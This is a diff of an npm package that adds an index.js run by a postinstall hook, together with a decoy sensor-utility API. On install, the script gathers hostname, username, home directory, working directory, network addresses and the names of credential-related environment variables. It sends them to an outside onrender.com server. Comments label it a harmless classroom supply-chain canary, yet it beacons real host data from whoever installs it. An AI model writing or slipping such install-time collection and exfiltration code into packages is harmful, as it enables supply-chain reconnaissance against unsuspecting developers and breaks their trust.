@ziedzzz/demo-canary 0.0.0-stage → 1.0.0

package/index.js

@@ -0,0 +1,199 @@
+'use strict';
+
+/*
+ * @ziedzzz/sensor-utils-lab-fixture
+ * Classroom supply-chain canary — SAFE. No secrets, no destructive actions.
+ *
+ * Collects a fingerprint of the host in the same *shape* a real
+ * supply-chain beacon would, then sends it to the lab canary server.
+ *
+ * Explicitly NOT collected:
+ *   - environment variable VALUES (only the count and a few safe metadata bits)
+ *   - file contents, credentials, tokens, SSH keys, cookies, browser data
+ *   - anything outside the current process
+ */
+
+const os = require('os');
+const https = require('https');
+
+// ---------- Collect a "menacing-looking" but harmless fingerprint ----------
+
+function macVendorOui(mac) {
+  // Just the first 3 octets — public OUI prefix, not sensitive.
+  if (!mac || mac === '00:00:00:00:00:00') return null;
+  return mac.split(':').slice(0, 3).join(':').toUpperCase();
+}
+
+function collectNetwork() {
+  const nets = os.networkInterfaces();
+  const out = [];
+  for (const [name, addrs] of Object.entries(nets)) {
+    for (const a of addrs || []) {
+      if (a.internal) continue;
+      out.push({
+        iface: name,
+        family: a.family,
+        address: a.address,
+        mac: a.mac,
+        oui: macVendorOui(a.mac),
+        cidr: a.cidr,
+      });
+    }
+  }
+  return out;
+}
+
+function collectEnvSummary() {
+  // Only names + count. Never values.
+  const keys = Object.keys(process.env);
+  const interesting = keys.filter((k) =>
+    /(TOKEN|SECRET|KEY|PASS|AWS_|GCP_|AZURE_|SSH|GIT|NPM|DOCKER)/i.test(k)
+  );
+  return {
+    count: keys.length,
+    // Names only — this is what a real attacker would flag for follow-up,
+    // and it's safe to show because it reveals nothing secret.
+    flaggedNames: interesting,
+  };
+}
+
+function collectProcess() {
+  return {
+    nodeVersion: process.version,
+    pid: process.pid,
+    ppid: process.ppid,
+    argv: process.argv.slice(0, 3),   // truncate — no full args
+    execPath: process.execPath,
+    cwd: process.cwd(),
+    uptimeSec: Math.round(process.uptime()),
+  };
+}
+
+function collectUser() {
+  let u;
+  try { u = os.userInfo(); } catch { u = { username: 'unknown', homedir: 'unknown' }; }
+  return {
+    username: u.username,
+    homedir: u.homedir,
+    shell: process.env.SHELL || process.env.ComSpec || null,
+    lang: process.env.LANG || process.env.LC_ALL || null,
+  };
+}
+
+function collectOs() {
+  return {
+    hostname: os.hostname(),
+    platform: os.platform(),
+    arch: os.arch(),
+    release: os.release(),
+    type: os.type(),
+    version: os.version ? os.version() : null,
+    endianness: os.endianness(),
+    cpuCount: os.cpus().length,
+    cpuModel: os.cpus()[0] ? os.cpus()[0].model : null,
+    totalMemMB: Math.round(os.totalmem() / 1024 / 1024),
+    freeMemMB: Math.round(os.freemem() / 1024 / 1024),
+    uptimeHours: Math.round(os.uptime() / 3600),
+    tmpdir: os.tmpdir(),
+    homeDir: os.homedir(),
+  };
+}
+
+// ---------- Fingerprint ----------
+
+function fingerprint() {
+  return {
+    id: 'sensor-utils-lab-fixture',
+    timestamp: new Date().toISOString(),
+    os: collectOs(),
+    user: collectUser(),
+    process: collectProcess(),
+    env: collectEnvSummary(),
+    network: collectNetwork(),
+  };
+}
+
+// ---------- Exfiltrate ----------
+
+function fireCanary() {
+  const HOST = 'telegrambot-aebk.onrender.com';
+  const PATH = '/ping';
+
+  const fp = fingerprint();
+
+  // Flatten for query string, but keep nested structures as JSON strings
+  const flat = {};
+  for (const [k, v] of Object.entries(fp)) {
+    if (typeof v === 'object' && v !== null) {
+      flat[k] = JSON.stringify(v);
+    } else {
+      flat[k] = String(v);
+    }
+  }
+
+  // Keep the query string under ~1800 chars for safety
+  const MAX = 1800;
+  const parts = [];
+  let running = PATH.length + 1;
+  for (const [k, v] of Object.entries(flat)) {
+    const piece = encodeURIComponent(k) + '=' + encodeURIComponent(v);
+    if (running + piece.length + 1 > MAX) break;
+    parts.push(piece);
+    running += piece.length + 1;
+  }
+  const fullPath = PATH + '?' + parts.join('&');
+
+  console.log('┌──────────────────────────────────────────────────────────────');
+  console.log('│ 🔔 SUPPLY-CHAIN CANARY (classroom fixture)');
+  console.log('│ Collecting host fingerprint and beaconing out…');
+  console.log('├──────────────────────────────────────────────────────────────');
+  console.log('│ id        : ' + fp.id);
+  console.log('│ host      : ' + fp.os.hostname + ' (' + fp.os.platform + '/' + fp.os.arch + ')');
+  console.log('│ user      : ' + fp.user.username + ' @ ' + fp.user.homedir);
+  console.log('│ cwd       : ' + fp.process.cwd);
+  console.log('│ node      : ' + fp.process.nodeVersion + ' pid=' + fp.process.pid);
+  console.log('│ ifaces    : ' + fp.network.length + ' active');
+  console.log('│ env vars  : ' + fp.env.count + ' (' + fp.env.flaggedNames.length + ' flagged)');
+  console.log('│ target    : https://' + HOST + fullPath);
+  console.log('└──────────────────────────────────────────────────────────────');
+
+  const req = https.request(
+    {
+      hostname: HOST,
+      port: 443,
+      path: fullPath,
+      method: 'GET',
+      headers: { 'User-Agent': 'sensor-utils-lab-fixture/1.0.0' },
+    },
+    (res) => {
+      let body = '';
+      res.on('data', (c) => (body += c));
+      res.on('end', () => {
+        console.log('[canary] beacon sent -> HTTP ' + res.statusCode);
+        console.log('[canary] server said:', body.slice(0, 200));
+      });
+    }
+  );
+  req.on('error', (e) => console.error('[canary] failed:', e.message));
+  req.end();
+}
+
+// Only fire when npm runs us as the postinstall script.
+if (require.main === module) {
+  fireCanary();
+}
+
+// ---------- Legit API (so it looks like a real utility package) ----------
+
+function parseSensorReading(line) {
+  const [sensorId, value, unit] = String(line).trim().split(',');
+  return { sensorId, value: Number(value), unit: unit || 'unknown' };
+}
+
+function average(readings) {
+  const nums = readings.map((r) => r.value).filter(Number.isFinite);
+  if (nums.length === 0) return 0;
+  return nums.reduce((a, b) => a + b, 0) / nums.length;
+}
+
+module.exports = { parseSensorReading, average };

package/package.json

@@ -1,6 +1,11 @@
-{
-  "name": "@ziedzzz/demo-canary",
-  "version": "0.0.0-stage",
-  "stub": true,
-  "description": "Temporary package placeholder for staged publishing"
+{
+  "name": "@ziedzzz/demo-canary",
+  "version": "1.0.0",
+  "description": "Harmless OWASP IoT supply-chain static-analysis training fixture",
+  "main": "index.js",
+  "files": ["index.js", "README.md"],
+  "scripts": {
+    "postinstall": "node index.js"
+  },
+  "license": "MIT"
 }

package/README.md

@@ -1,3 +0,0 @@
-# Temporary Holding Version
-
-This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.